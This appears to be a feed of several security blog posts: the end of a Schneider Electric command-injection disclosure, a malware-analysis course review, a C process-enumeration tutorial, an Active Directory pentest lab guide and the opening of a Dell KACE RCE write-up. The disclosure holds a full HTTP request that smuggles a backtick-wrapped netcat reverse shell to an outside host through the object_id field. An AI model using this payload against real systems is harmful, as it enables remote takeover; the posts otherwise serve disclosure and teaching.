Here you can see that the query string (which contains object_id) is fed through a bunch of str_replace calls with the intention to filter out dangerous characters such as $ for Unix command substitutions, and by the end of the snippet, you can actually see that another string $sqlite_cmd is concatenated with the previously build $query string and finally passed to an PHP exec() call.

The Exploit

So apparently Schneider Electric tried to fix the previously reported vulnerability by the following line:

$query = str_replace("$", "\$", $query);

As you might already guess, just filtering out $ is not enough to prevent a command injection into an exec() call. So in order to bypass the str_replace fix, you could simply use the backtick operator like in the following exemplary request:

POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

op=export&language=english&interval=1&object_id=`nc -e /bin/sh www.rcesecurity.com 53`

resulting in a nice reverse shell:

A Few Words about the Disclosure Process

I have contacted Schneider Electric for the first time on the 15th November 2018. At this point their vulnerability reporting form wasn’t working at all throwing some errors. So I’ve tried to contact them over twitter (both via a public tweet and via DM) and at the very same time I did also mention that their reporting form does not work at all. Although I haven’t received any response at all, the form was at some point fixed without letting me know . So I’ve sent over all the details of the vulnerability and informed them about my 45-days disclosure policy starting from mind November. From this day the communication with their CERT went quite smoothly and I’ve agreed on extending the disclosure date to 120 days to give them more time to fix the issue. In the end the entire product was retired on 12 March 2019, which is the reason why I have delayed this disclosure by two more months.

GIAC Reverse Engineering Malware (GREM) Review

28 April 2019 at 22:01

New trophies !!

 

Welcome back. What follows is my review of the SANs FOR-610 GIAC Reverse Engineering Malware (GREM)  course led by the magnificent instructor Lenny Zeltser. I intend to not only give you a day-by-day breakdown but also my thoughts, mindset and overall sentiment. But before all of that let’s rewind to Jan 2019.

Fresh off of nailing OSCE I was desperately searching for something to latch onto. Could you imagine how big my eyes were when my boss informed me I would be able to take a SANs training😲. I felt Malware Analysis would compliment my Exploit Development experience in addition make me more valuable at work. Studying is baked into my life I never foresee this ever changing. I love to learn. I love to struggle. The dedication. The disciple. The concerted effort. I love the internal fight I always have with myself. Did I mention this event was in Orlando !? So the day of my flight comes I’m freaking pumped!

3 hour flight was fine landed safely had to strip out the hoodie because it was about 75 degrees & sunny. Checked in received all the course materials and some swag. Grabbed a bite to eat and tried to get a good nights rest. I could barely sleep like a kid on Christmas eve.

This swag is not for sale!

Day 1 – Malware Analysis Fundamentals

If you’ve never (sorry to hear that) been to a SANs training you get a book for each day that you work through. We were provided with 2 VMs one Windows and one REMnux (Lenny created and maintains this it’s a stripped down Ubuntu system pre-loaded with all the tools. Once again if you want a reoccurring theme here it’s he’s awesome & very intelligent) It’s quite intense as you get bombarded with tons of material. After a short introduction he jumps straight into the material. We discussed what malware is & general goals we wish to accomplish with our analysis. Some things that won’t make the sexy list but were important was how to build a analysis lab and how to create and deliver analysis report. Now is when the cool things begin to happen. “Okay class go to malware folder day one and double click on it to begin analyzing your first piece of malware”. I’m like this sounds like a mistake 😂 but let’s do it! We got pretty intimate with this piece of malware analyzing it statically dynamically and a tiny bit of code reversing in IDA. This malware had C2 functionality & dropped an encrypted config file on the system along with persistence. Here are some of the tools we’d come to use for today and remaining days

  • PE Studio
  • Strings/pestr
  • Process Hacker
  • Process Monitor
  • Process Hacker
  • Regshot
  • Wireshark
  • IDA
  • x64 debug
  • fakedns
  • inetsim

After class let out for that day I grabbed a bite to eat and decided to crash instead of going for one of the evening talks.

Day 2 – Reversing Malicious Code

This day I heard was most feared depending on your background. I actually enjoyed it a lot. The entire day was spent inside IDA and looking through the assembly. Some things we learned this day were

  • Intel Processor
  • Registers
  • Pointers
  • Memory Addressing
  • Branching
  • Calling Conventions
  • How functions work
  • The Stack
  • Control Flow

The 2nd half of the taught us how to recognize common API patterns in Malware. Keyloggers, Downloaders, Droppers ect. There was a tiny section on 64-bit code analysis that we didn’t spend much time on.  I didn’t go to any evening talk I crawled in the bed an reviewed the days materials.

Day 3 – Malicious Web and Document Files

This day was my favorite. If yesterday beat you up this day was here to pick you back up. It wasn’t easy it was fun. Since this is a way that most malware is introduced inside organizations I was very interested in this days topics. It didn’t disappoint me! We saw so much naughty malware this day. We started out deobfuscating scripts using browser debuggers, and then using standalone interpreters. Again things are intimate here so you’re learning the internal format down to the nitty gritty of the different document types and the tools you use for analyzing them. There was malicious PDFs, Office Documents (Macros), and RTF documents. What blew my mind this day was the amount of ways that JavaScript can hurt you. And why Windows has binaries to execute JavaScript. I guess being naive I simply thought about JS and what it could do inside the browser. Some tools we used this day were:

  • js (SpiderMonkey)
  • pdf-parser
  • base64dump
  • oledump
  • olevba
  • xor-kpa
  • rtfdump

After this days class I was excited to see what this NetWars hype was all about. So when the time hit I grabbed my machine & headed down.

The atmosphere was incredible 👍❤ being in a room full of hackers and us going head to head. There’s nothing else like it. There was a guy who had over 400 points when the next highest guy had like 50. They took his name off the board because they said they “Didn’t want to depress us anymore” 😂 That guy was insane. I did well actually it was a lot of Linux commands, wireshark analysis. The part that tripped me up was image analysis I struggled with this and lost so much time. I fell from 4th to like 20th by end of first day.

I’m on the board!

Day 4 – In-Depth Malware Analysis

We learned a ton of stuff this day. Recognizing and unpacking malware. Debugging packed malware. The  2nd half of the day we learned and examined a fileless piece of malware. It was wicked! Some topics in the 2nd half of the day we learned were API Hooking and Code Injection. We also spent time learning a little bit of memory forensics. Some tools we used this day were

  • upx
  • scdbg
  • volatility

I decided not go to the 2nd day of netwars. Went on a walk exploring the area where our hotel was and chillen by the pool.

Day 5 – Examining Self-Defending Malware

Awesome day spent learning about malware that fights you back or purposely makes it difficult to analyse. We learned about Process Hollowing and the normal techniques malware authors employ to detect debugging. Some tools used this day were

  • brxor
  • bbcrack
  • floss
  • scylla

Last day of learning & it’s Friday but who care because I’m spent. Went to the room and crashed.

Day 6 – CTF

Get to class at 8:30 and setup my machine, grab my Redbull and prepare for the fight. There’s about 20 people in the class most of them seemed very intelligent. I knew a few of them were fulltime malware analyst but it’s always fun to see where you end up when competing with others. I enjoy the competition. So the CTF was everyone on their own no teams and top 5 people win coins. We had our own scoring server that updated in real time as you earned points so it was intense. For 5 hours we leveraged what we learned to answer questions about different malware samples. Now when we first started on Monday I had to think about everything because it was all new to me. On this day I remember running to the bathroom and thinking damn! You’re not even thinking about this you’re just doing it. Gave myself a bro hug. When the dust settled I had a coin & it was the perfect icing on the cake.

I win !

Studying For The CERT

When I fly back home I immediately reviewed each book. I don’t create an index but I use the color tab thingy’s to mark sections I think are important and also highlight anything relevant of course. The end result of this madness looks similar to this

This was like retaking the entire course it really helped me reinforce topics I knew I was weak on. It also helped me understand where things were in each book. This is valuable because although the exam is open-book you don’t have much time to search for things. After this was done I got access to the MP3 recordings. I listed to all of them in the car, on the train, at lunch, and evening time this was the only thing I did. I went to sleep to Lenny’s voice and woke up to it. This again was like taking the course again it helps tremendously. In between this time I also took the 2 practice test they give you. I scored a 76 on first one and 84 on the second one. It was great to have an idea of the type of questions. So I originally scheduled the exam for a Saturday. At this point I felt like I took the class 3 times and went thru the books like a zillion times. It was Thursday night. I said forget waiting until Saturday you’re taking this exam tomorrow. Luckily the testing center had availability and I rescheduled it. After I did it I though “You’re a fucking fool” 😂 But let’s do this!

The Exam

Wake up gather my materials, buy  a Redbull and a water and off I go. I gave myself ample time to get to the testing center absolutely can’t be late. I got there 1 hour early at 8 AM and they allowed me to take the exam immediately. Astonished I couldn’t bring my Redbull in the testing area so I downed it. Testing at a center is so funny because you can’t have anything besides your materials all your belongings get stored in an assigned locker. They made me lift up my hair, pants legs I was like WTF 😂 those folks would make awesome TSA agents. The exam was HARD but I felt prepared. I finished it in 1 hour and this is what it ended up as

Let’s Go!

I was soo proud of myself! ✊🏿
And when you get 90 (90.7 counts😂) or higher you get an invitation to the GIAC Advisory Board.

I encourage you to take the class if you can but only if it’s with Lenny. He answered 1 million and one of my questions & he gives off good vibes.
Take care guys – until next time.

The post GIAC Reverse Engineering Malware (GREM) Review appeared first on Certification Chronicles.

The Usual Suspects – Malware Snippets – Part 1

12 April 2019 at 21:20

When You Should Be Studying But The Code Calls You.

Prologue

I feel like I should confess. Why? Because I’ve fought with myself for the past hour debating on how to spend this Friday evening. I 100% should be continuing my Malware Analysis Workbook to keep making steady progress in preparation for the exam. GREM should be fun, I’m looking forward to it & blogging about the entire experience. At the moment I really don’t feel like “analyzing” anything. I feel like doing! Attempting to make or break something. The brain wants what the brain wants. Here’s how I rationalize things to myself in these situations. If the thing that I’ve yet to figure out what it is, is in someway somehow related to what I should really be doing then guess what, IT’S FINE. So shoot let’s just start an entirely new series on something I totally just came up with.

I have come to understand that there are patterns in malware. But before that – ask yourself what exactly is malware? Here’s where I think the definition from Lenny’s course rings volumes. It’s incredibly non-technical and very subtle. “Malware is code that is used to perform malicious actions.” This leads you to the realization that it’s not per se the capabilities of the software but the intent of the person using or authoring it. We’ll stop right there because my purpose isn’t malware analysis in this post. (You can wait until I take the certification I”ll be sure to blog about the entire process from the first day of the course through to the cert) It’s about patterns remember. So sir, what are these patterns you speak of?

Software is typically developed in a high level language & compiled into a binary executable. What’s the best language to develop?  I always enjoy this debate because I’ve played with most of them & can usually argue either way depending on the side my opponent takes. Truthfully it’s preference & how familiar the developer is with the language. Different jobs are accomplished utilizing different tools. Some popular high-level languages are C/C++, Python, Delphi, and Java. Now I purposely left out scripting and interpreted languages , I include Python just because it’s awesome & you can usually accomplish the same as a compiled language with it. I know Java and the JVM so you don’t have to beat me up. Majority of malware is written in C/C++ you could also use Python using CTypes and then compile into an executable but let’s not account for that. It shouldn’t surprise you that malware needs to accomplish many of the same task as ordinary software. Things like reading and writing to disk, network communication, spawning child processes, allocate dynamic memory, painting to the screen and the list goes on. Now these things individually aren’t particularly nefarious. But in groups you can get an idea of what it’s trying to do.

How do you leverage C to write malware? You leverage this surprisingly unicornishly resource call the Windows API from MSDN. It’s how you programmatically interact with everything in the Windows environment. And if you’re thinking they missed a inch, they didn’t! So much so, there’s a group of folks who scoured the entire API (documented and undocumented), pre-loaded binaries and DLLs and created LOL-Living Off The Land. To say that the API is rich would be an understatement. You can do any and everything with it because what’s the point of have an Operating System if it’s not extensible & account for each and every obscure thing a developer might ever want to do. Poor Microsoft.

Here’s an example, we get a malware sample and during the static analysis we look at it’s imports and see function calls to, GetKeyState GetAsyncKeyState SetWindowsHookExA. Very quickly you can get a feel for what it potentially might be maybe without even visiting the documentation. In this case a keylogger potentially. This is what I mean when I mention patterns above. This series will begin with the small building blocks before we go full blown into replicating our own malware. This is what I meant when I said I wanted to “attempt to make or break something”. Again, learning is a contact sport and maybe from failing & being stuck so much I don’t mind it. I haven’t developed professionally in years and if I do anything now Python’s usually my go to. So pure C is a challenge I’m totally up for and I hope by the end I can say I improved. I’ve also never written a piece of malware nor it’s components. I encourage you to fight through the cryptic naming conventions grab a C book if you need and just persevere. The best way is to just start. I spun up a VM specifically for developing, downloaded & installed the latest VisualStudio and off I went.

Process & Thread Enumeration

I figured this was an awesome place to begin because it’s pervasive throughout malware. Possibly for anti-debugging, maybe to send off as information gathering to a C2, or searching for vulnerabilities that may aid in privilege escalation. Whatever the reason it’s widespread, gives me a reason to be writing this and is a friendly introduction to C. I will present the code & then explain it in plain English.

1
#include stdio.h
#include Windows.h
#include TlHelp32.h
#include tchar.h

2
BOOL GetProcessList();
BOOL ListAssociatedThreads(DWORD dwProcessID);

3
int main(void)
{
	GetProcessList();
	return 0;
}

4
BOOL GetProcessList()
{
	PROCESSENTRY32 process_structure; 
	HANDLE handleToProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 5

        6
	if (handleToProcessSnapshot == INVALID_HANDLE_VALUE) {
		_tprintf("Failed To Obtain Handle To Process Snapshot");
		return FALSE;
	}

        7
	process_structure.dwSize = sizeof(PROCESSENTRY32);

        8
	if ( !Process32First(handleToProcessSnapshot, &process_structure) ) {
		_tprintf("Failed To Get Obtain Data About First Process - Last Error = %d\n", GetLastError());
		CloseHandle(handleToProcessSnapshot);
		return FALSE;
	}
	do
	{
                9
		_tprintf("\n\n=====================================================");
		_tprintf("\n Process Name:  %s",           process_structure.szExeFile);
		_tprintf("\n Process ID:  0x%08X",         process_structure.th32ProcessID);
		_tprintf("\n Parent Process ID: 0x%08X",   process_structure.th32ParentProcessID);
		_tprintf("\n Thread Count:  %d\n",         process_structure.cntThreads);
              
                10
		ListAssociatedThreads(process_structure.th32ProcessID);
		_tprintf("\n\n=====================================================");

        11
	} while ( Process32Next(handleToProcessSnapshot, &process_structure) );
	CloseHandle( handleToProcessSnapshot );
	return( TRUE );
}

BOOL ListAssociatedThreads( DWORD dwProcessID ) 
{
	THREADENTRY32 thread_structure;
	HANDLE handleToThreadSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );

	if ( handleToThreadSnapshot == INVALID_HANDLE_VALUE ) {
		_tprintf("Failed To Obtain Handle To Thread Snapshot");
		return FALSE;
	}
	thread_structure.dwSize = sizeof( THREADENTRY32 );

	if ( !Thread32First(handleToThreadSnapshot, &thread_structure) ) {
		_tprintf("Failed To Get Obtain Data About First Thread - Last Error = %d\n", GetLastError());
		CloseHandle( handleToThreadSnapshot );
		return FALSE;
	}
	DWORD dwThreadCount = 1;
	do {
		if ( thread_structure.th32OwnerProcessID == dwProcessID ) {
			_tprintf("\tThread ID-%d: 0x%08X\n", dwThreadCount, thread_structure.th32ThreadID);
			dwThreadCount++;
		}
	} while ( Thread32Next(handleToThreadSnapshot, &thread_structure) );
}

You may have noticed that I didn’t bother numbering the second function call. That’s because it’s basically identical to the first. I will illustrate the difference when we reach a piece that’s different.

  1. These are the imports. An import is just a library that holds tons of functions for us to call. They only exist to be used by us so long as we import them first. This makes them happy.
  2. Function declarations. These are used to help with compile time error checking. In this case it says we’re creating 2 function, that are of type Boolean(true/false), their respective names, and any arguments they may expect. It’s like an early warning system. For instance, if we began to write the function body (that one takes an argument named dwProcessID) and we forgot to include it, the compiler understands from our declaration it should be there. So it immediately complains, we call ourselves silly – correct it and move on.
  3. Main method. It’s the entry-point for the entire program. Execution starts here you don’t need to think about it. We call our 1st function here and for clarity include the return statement.
  4. This looks similar to the function declaration but without the ; and statements within the { } brackets. Inside these brackets is our function body (the purpose of the function).
  5. I like to think about a Window’s Handle as a pointer to a system resource. It’s a more abstract level for instance if you wanted to read a file, you’d call the appropriate function – obviously passing it amonst other things the filename. You wouldn’t get a file back or an object you’d get back a Handle. Then all further processing you refer to the handle.In our case we make a call to CreateToolhelp32Snapshot this function comes from the tlhelp32.h import. We search MSDN and understand the arguments to pass it, one being TH32CS_SNAPPROCESS along with the 0 argument says, “Give me a handle snapshot of all the running processes on the system at this point in time”.In the 2nd function this call is also made again but this time with a different 1st argument TH32CS_SNAPTHREAD. Appropriately named since the first functions grabs all the processes then we find each processes associated threads.
  6.  Error checking. From MSDN we know that if the call to get the process snapshot fails it’ll return that symbolic constant INVALID_HANDLE_VALUEYou could make a call to GetLastError() to further debug.
  7. Important. MSDN told me this. You need to set the size field of the structure before you make the call to the next function. If you don’t do this, the call automatically fails.
  8. Call to Process32First this is how we actually make a call to get the first process. It takes as arguments, the handle and the structure who’s member we had to initialize. We put this call inside an if statement, if we encounter an issue we fall into the error printing statements included in that statement and close the handle so it’s not a stray.
  9. Success! If we reach here it means we’re good – we’ve gotten the data associated with our first process in the snapshot. That structure we set the size on now is populated with the relevant data returned from the function call. Some of those things are the process’s name, ID,  it’s parent process ID, thread count and a host of other thing. Break after the call to view all the relevant fields in the structure or just Google it.
  10. Determine which threads belong to this process. As mentioned earlier that function is very similar except it takes a snapshot of all the threads, and then we compare the process ID we pass into the function to the threads parent process ID.
  11. Notice the call to the Process32Next function as the continuing condition for the do-while loop. This function will move to the next process in the snapshot.

Here’s some output:

Except of running the code.

 

Epilogue

We’re going to build up to something awesome I promise. Obviously this is for educational purposes only.
NOTE: If you want to compile the code just remove the numbers I included to explain the different sections.

Until next time!

The post The Usual Suspects – Malware Snippets – Part 1 appeared first on Certification Chronicles.

AD Amusement Park – Part 1

11 April 2019 at 04:47

WHO (Is This Geared Towards?)

  • Penetration Testers
  • System Administrators
  • Technology & System Enthusiast
  • Average Joe (Jill)
  • Anybody That Wants To Read!

WHAT (Will It Encompass?)

The design and provisioning of an AD Penetration Testing Lab created to mimic a corporate network. After which, we will simulate an adversary attacking the network using various techniques. Along the way we will spend time getting to know the key concepts on what being in a “Windows Environment” is all about.

This will be broken into multiple post, each leveraging the previous one & building towards the next. Since this is meant to be comprehensive we will spend a significant amount of time (the initial few post) constructing our lab. Once completed, we’ll detail as many Red-Team scenarios, Pentesting Techniques (or whatever we think is relevant/cool) on the network we created. There is no end in sight! Once I’m tapped out I will solicit friends & peers for techniques to illustrate.Did you catch I said we? That means you also. So do leave comments, email me, to keep this series rolling.

Note: In no way do I or ever claim to be an expert in anything. The best way for me to learn is by doing – making mistakes, trying/failing, and just persevering. With that said my connections are experts in the topics I’ll speak about. If I misspeak or underrepresented anything – point it out, I’m totally open to constructive criticism.

WHEN (Does It Start?)

Aren’t you reading this right now? Duh. Just kidding – I plan on staying pretty consistent. Current date is 4/10/2019 19:12 EST. I would like to be done with the standing the lab up and be on to blogging about the scenarios by beginning of summer at the latest.

WHY (Are You Even Doing This?)

  • Because I Have Unlimited Amounts Of Free Time? This couldn’t be further from the truth !! Let’s see I lead AppSec @ work, am preparing to take GREM, being a husband, being a sibling, being a resource, and being a friend.
  • Because I Get Paid For This? Yeah Ok! If anyone is paying then the funds have never reached me lol. Truthfully I still remember being broke waking up and not having a single dollar. I do pretty well nowadays and I’ll never let money motivate me! Imagine being purely driven by money, and then there’s no money left. That’s why I’ll never ask for a donation, a beer or anything similar. The best thing you could do for me is leave a comment (to help me make it better for the future) or share it with others. You’ll never see an ad on this blog. I take pride in this and it means a lot to me. One of the most valuable things you provide to someone is your time.
  • Because Why Not ?! Okay. Now we’re on to something. The thing to love about having a blog is being able to write about whatever the heck you want! If I wanted to fill this blog up with lavender bunny rabbits or Swedish meatballs, who could tell me not too? Nobody. Fortunately for you guys I’m not that weird! I made a promise to myself that I wouldn’t write to fill up the pages. This syndrome affects primarily new bloggers. After receiving warm fuzzy feedback on their blog, the human in them wants to just put out more post, sacrificing quality just to continue getting complimented. Being self aware is an amazing quality to have. So instead of quantity I focus on quality and content.
  • To Learn Some of you who know the path I took to get where I am currently.  I skipped over an important role that most offensive & defensive folks get. System Administration & Networking. All my knowledge in those areas are self taught mostly from books & hacking. It’s almost like my hobby now. Fun fact, for me is that the more unknown something is to me, the more fascinating it is.
  • To Teach I never want to be the guy that hoards information. Ever. I think it’s disgusting when people are afraid to sharing knowledge for whatever reasons. I also feel like I’m the perfect medium. Almost artistic like a compiler, actually a decompiler. I take some input, perform some translations – modifications and do my best to covey it to you as output in a language that’s most familiar to you. Teaching is loaded because you’re constantly reinforcing what you already knew. So again I win.
  • To Be The Devil’s Advocate We will look through both lenses, that of the attacker as well as the defender. I think this is necessary for completeness. Just think how wrapped up we get in colors and the box we place ourselves in. “I’m a Red-Teamer – I’m a Blue-Teamer – I’m a Purple-Teamer”. In reality there’s 2 sides, the good guys & the bad guys. If you straddle the line, I consider you to be on the bad side. Simple

Okay. With that out of the way – let’s start Part 1 of the series!

I’ll summarize exactly what we’re going to accomplish in this post first, then illustrate it in detail below.

    1. Summary/Disclaimer
    2. Physical System Requirements
      1. Recommendation & What’s in My Environment
    3. ESXI & Hypervisors
      1. Download, Installation, and Deployment
    4. Active Directory & Windows Domains

Summary/Disclaimer:

*Operation Manage Expectations* – Unfortunately or fortunately every marathon starts with a single step. This is our single step. It sets the stage for all subsequent post in this series. With it being the foundation it’s one of the most important. What happens to anything build upon weak foundation? We actually won’t do any hacking here. It’s meant to understand the core concepts and get a handle on getting your lab stood up. (I can’t hear folks sucking their teeth & heading for the EXIT)


Physical System Requirements:

First off, I don’t want to hear any chuckles, laughs or “bruhhh’s” after I reveal what I’m about to say. I’m running all this on a Dell Inspiron 3874 from back in the day! If you’re a person with a fancy beefy server so be it! More power to you. But if you’re more like me, loving to stretch the limits of anything you can touch on, then you can so-called “ball on a budget”. I laughed one day when I read people speculating on what type of equipment & devices I had in my lab. I was like damn this guy is going to be sadly disappointed when I inform him on the current state of affairs going on here lol.  So take what I’m going to list below w/ a grain of salt.

Processor – Depending on the generation I would say you can get away with having an I5 processor. Obviously the newer the better, to handle all the multitasking we’ll be doing and to utilize the advances in technology. Again my old I7 fourth gen does just fine. Ha!

RAM – One of the most important things in the entire stack. This depends on how big you want your environment to be honestly.  I would suggest 32GB and a minimum of 16GB. At the moment I have 12GB and I usually never see more than 50% usage at max load having 5 VMs running and all processing something.

Disk – Ideally you have a large SSD 1TB and a small one 128GB to boot from. My setup is slightly different. I had an 256GB SSD laying around and the desktop came with a 1TB HDD. So I boot the OS from the 256GB SSD and use the HDD for the VM Storage. You actually could boot the OS from a flash drive atleast 4GB if you wanted. I did this before and experience random hanging and freezing so that’s why this time around I decided to use a physical drive.

My Powerhouse Dell Inspiron 3874

*IMPORTANTYou’re free to use whatever Hypervisor you want. I tried all the major ones and settled with VMware ESXI as my favorite. If you’re going to follow this post & build your lab accordingly, ESXI only works with Intel NICs. You’ll need to have one to avoid a situation where you have to patch the ISO to inject open-source (shady) drivers (kernel level rootkit?) into your build. Guess what? That desktop had a Realtek NIC. Irony. No worries I solved this easily by buying and installing one of these.


ESXI & Hypervisors:

I’ll spare you from the dictionary definition which you’re welcome to find here on what a Type 1 hypervisor is.  Type-1 runs directly on the host machines hardware directly and doesn’t have to load an OS first. In comparison to Type-2 which most people are already familiar with some examples, VirtualBox (yuck) – VMWare Workstation (if you’re fortunate) – VMWare Player (if you’re fortunate & the one of your liking.

So what does this do for us? Great question. When we leverage this type of hypervisor we’re able to utilize all the host machines hardware for our VMs. First thing we do is head over and grab the latest ESXI image from VMWare’s website which at the moment is 6.7. YES – you have to create an account.

Downloading latest ESXI image

The ISO is surprisingly small for the shear amount of magic that it provides. The next thing we want to do is burn the ISO to a USB flash drive. There are a few programs I’ve used for this over the years depending on OS but the most reliable one has to be Rufus. Download and install (or run it).

Insert your USB into the machine and run Rufus. You’ll have to point it to the ESXI ISO, it should detect your USB drive letter automatically. Similar to the following:

Writing ESXI image to flash drive

Installation should be quick, less than a minute. Unfortunately the only confirmation you’ll get from Rufus is a Window’s chime and the progress bar reaching 100% visually but sorry no messagebox popup confirmation.

Rufus finished writing image to flash drive

Now that we have our flash drive ready for battle, we insert it into the system we’re using for our lab. Sometimes you’ll hold F2 on system boot or go into the bios, alter the boot order and select the USB to load prior to the Hard Disk. The process for installing ESXI is very simple just click through honestly. But for the sake of completeness I wanted to detail it thoroughly. The initial load will show you some Linux booting output and switch to the following looking screen:

ESXI loading after booting from USB

Click “Enter” to Continue with the installation when paused at the Compatibility prompt. Then F11 to accept the EULA. Continuing on you’ll be prompted to select the disk you want to install ESXI on. If you’re dropping it on another USB make sure it’s insert it VMWare should recognize it. DON’T OVERWRITE THE USB WITH THE INSTALLATION ON IT MISTAKENLY. No matter what choose the correct disk, if you’re using SSD or HDD just make sure you select the correct one. Remember this ISN’T the place where your VMs will be held, although it’s probably inside the same physical system. In my case for illustration purposes I’m installing on a VM so my disk is labeled as such, and looks like the following. (Multiple disk will be listed if applicable)

Installing ESXI on host disk.

Hit “Enter” to Continue. Select your default keyboard layout Swiss German in my case. JK – I selected “US Default” of course & again “Enter” to Continue. At the next screen you’re prompted for a root password, make it whatever you want so long as you remember it

Selecting root password.

Confirm again your pointing to the correct disk before you begin the partition. (Can you tell I screwed up here before?)

Confirming partition to write to

A completed install looks similar to the following.

Completed ESXI Install.

Great Progress! Remove the installation media and reboot.

To save time here’s the assumptions I will make:

  1. You already have at least one Windows Server edition to be your domain controller. Microsoft provides evaluation copy’s for 180 days that you can download directly from them Server 2016 Download. You’ll have to fill out the form (bogus information) to initiate the download. Get creative 🙂
  2. You have at least one client to add to your domain, this could be any Windows OS like 10, 8 (you’re weird), 7 or XP. You can get Windows 10 for free using their Media Creation Tool here. Get creative finding the other editions.

If all went well you’ll boot up to the following:

ESXI Installed & running.

Take note of the IP address ESXI presents to you and browse to the IP. It should be bridged to your LAN. Note: My address is NAT’d since I’m simulating the process on a VM. Not that should have realized that anyway. From this point on you can disconnect the monitor if you like, all the rest of the administration is done through the web application.

Accepting the self signed cert shows the following:

ESXI Web App Login

After logging in your main dashboard provides you a bunch of system information about your physical host and configuration options for your future lab. To deploy a VM first we have to upload an ISO. In ESXI terms the storage that houses the ISO and the resulting VMs is called the datastore. Things are pretty intuitive actually bc the upload process to the datastore is streamlined in the Create/Register VM workflow. Click that button:

ESXI Dashboard

Select “Create a new virtual machine” and click Next as follows:

Deploying a new VM

Give you VM a recognizable name & select the OS version from the dropdown. I named mine DC-2K-16 just to be descriptive. I know it’s going to be my Domain Controller and the OS year. Do whatever makes you happy:

Select VM OS and naming it

You’ll select a datastore, click Next and be presented with the final screen.

VM Provisioning almost complete

Note: We still didn’t upload our ISO to the datastore yet. Now here’s our time. You’re going to click “Browse” from the location row. This will open the datastore browser, there you’ll click “Upload” and then browse your local system to the Windows Server 2016 ISO.

As it’s progressing things should look like this:

Be patient – this is where you get to pause and reflect on your tremendous efforts thus far.

After that finishes, do yourself a favor. Upload your other ISO the Windows 10 machine also. In my case I had a Windows 8.1 32 bit ISO already downloaded so that’s what I used. To simulate a corporate network I’d suggest at least 9 machines. You’re going to upload until your thumbs hurt haha. You’ll also need a PFSense ISO that’ll be our virtual Firewall – you can grab it from here and upload that ISO like the other images. Download your ISO’s from where ever you’re finding them, upload them to the datastore, and repeat. Repeat until you’re close to the setup I have below.

Back at our Dashboard we can now see our VM list has grown from 0 to 1. Clicking on it and selecting Power On. This will load the VM and install Windows like we’ve done a thousand times prior. Repeat the process for all your client machines. This is the part that takes the most time so you can upload a bunch and go to sleep or something.

Note: I am switching from the virtual environment where I was demonstrating the the installation process to my actual ESXI server. The one you laughed about earlier smh.

You should now have the beginnings of an AD Pentesting lab. Mines looks like the following:

Enough VMs to make you jealous

Active Directory & Windows Domains

An Active Directory domain is a collection of objects within a Microsoft Active Directory network. An object can be a single user, a group or it can be a hardware component, such as a computer or printer. Each domain holds a database containing object identity information.

Active Directory domains are grouped in a tree structure; a group of Active Directory trees is known as a forest, which is the highest level of organization within Active Directory. Active Directory domains can have multiple child domains, which in turn can have their own child domains. Authentication within Active Directory works through a transitive trust relationship.

Active Directory domains can be identified using a DNS name, which can be the same as an organization’s public domain name, a sub-domain or an alternate version (which may end in .local). While Group Policy can be applied to an entire domain, it is typical to apply policies to sub-groups of objects known as organizational units (OUs). All object attributes, such as usernames, must be unique within a single domain and, by extension, an OU.

That was a mouthful. Let’s try to explain it in layman’s terms. A domain is simply a group of computers or devices that can be managed centrally. A domain controller is the server edition of Windows in the environment that responds to authentication request from other systems on the domain. This server implements the Active Directory roles/responsibilities, and stores all the user account information for the domain, enforces the security policy, and can run the domain’s DHCP & DNS servers.

Feel free to read, Google and pause if you want to research any of these topics in depth. For now just accept that this is all you need. I’ll give you everything else that’s pertinent exactly when it’s required. This is enough to get us off the ground running.


Here’s what I hope you learned about in this post:

  1. My motivations to start this series & what I hope to accomplish
  2. You can deploy a pretty nice lab for close to nothing if you have the time
  3. How to write ISOs to flash drives if you’ve never done it in the past
  4. How to install an ESXI server
  5. How to install VM OSes inside your ESXI server
  6. A little bit about Active Directory & Window Domains

 

For the next post I have the following agenda:

  1. Configure our first DC
  2. Promoting the server to be DC
  3. Installing the Active Directory roles & responsibilities
  4. Install the DNS role
  5. Installing the DHCP role
  6. Configuring OU’s
  7. Joining a client to our domain
  8. Learning about GPO
  9. Setting up our PFSense firewall.

Until next time !

The post AD Amusement Park – Part 1 appeared first on Certification Chronicles.

Dell KACE K1000 Remote Code Execution - the Story of Bug K1-18652

9 April 2019 at 00:00

This is the story of an unauthenticated RCE affecting one of Dropbox’s in scope vendors during last year’s H1-3120 event. It’s one of my more recon-intensive, yet simple, vulnerabilities, and it (probably) helped me to become MVH by the end of the day ;-).

TL;DR It’s all about an undisclosed but fixed bug in the KACE Systems Management Appliance internally tracked by the ID K1-18652 which allows an unauthenticated attacker to execute arbitrary code on the appliance. Since the main purpose of the appliance is to manage client endpoints - and you are able to deploy software packages to clients - I theoretically achieved RCE on all of the vendor’s clients. It turns out that Dell (the software is now maintained by Quest) have silently fixed this vulnerability with the release of version 6.4 SP3 (6.4.120822).

Recon is Key!

While doing recon for the in-scope assets during H1-3120, I came across an administrative panel of what looked like being a Dell Kace K1000 Administrator Interface:

While gathering some background information about this “Dell Kace K1000” system, I came across the very same software now being distributed by a company called “Quest Software Inc”, which was previously owned by Dell.

Interestingly, Quest does also offer a free trial of the KACE® Systems Management Appliance appliance. Unfortunately, the free trial only covers the latest version of the appliance (this is at the time of this post v9.0.270), which also looks completely different:

However, the version I’ve found on the target was 6.3.113397 according to the very chatty web application:

X-DellKACE-Appliance: k1000
X-DellKACE-Host: redacted.com
X-DellKACE-Version: 6.3.113397
X-KBOX-WebServer: redacted.com
X-KBOX-Version: 6.3.113397

So there are at least 3 major versions between what I’ve found and what the current version is. Even trying to social engineer the Quest support to provide me with an older version did not work - apparently, I’m not a good social engineer ;-)

Recon is Key!!

At first I thought that both versions aren’t comparable at all, because codebases usually change heavily between multiple major versions, but I still decided to give it a try. I’ve set up a local testing environment with the latest version to poke around with it and understand what it is about. TBH at that point, I had very small expectations to find anything in the new version that can be applied to the old version. Apparently, I was wrong.

Recon is Key !!!11

